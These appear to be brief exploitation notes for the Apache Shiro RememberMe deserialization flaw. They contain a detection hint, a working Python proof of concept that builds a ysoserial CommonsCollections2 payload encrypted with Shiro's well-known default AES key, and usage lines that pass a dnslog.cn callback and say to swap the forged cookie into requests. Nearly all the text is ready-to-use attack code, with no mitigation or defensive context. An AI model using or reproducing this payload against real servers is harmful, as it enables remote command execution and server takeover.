Characteristic
If RememberMe=deleteMe at Cookie， So It is Shiro.
Shiro Key
You get the key and to mix a vulnerability will get the servers shell or controller.
POC
# pip install pycrypto
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-BETA-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
with open("/tmp/payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()), file=fpw)
python shiro_poc.py "sfvpil.dnslog.cn"
/tmp/payload.cookie
替换发包的rememberMe=X
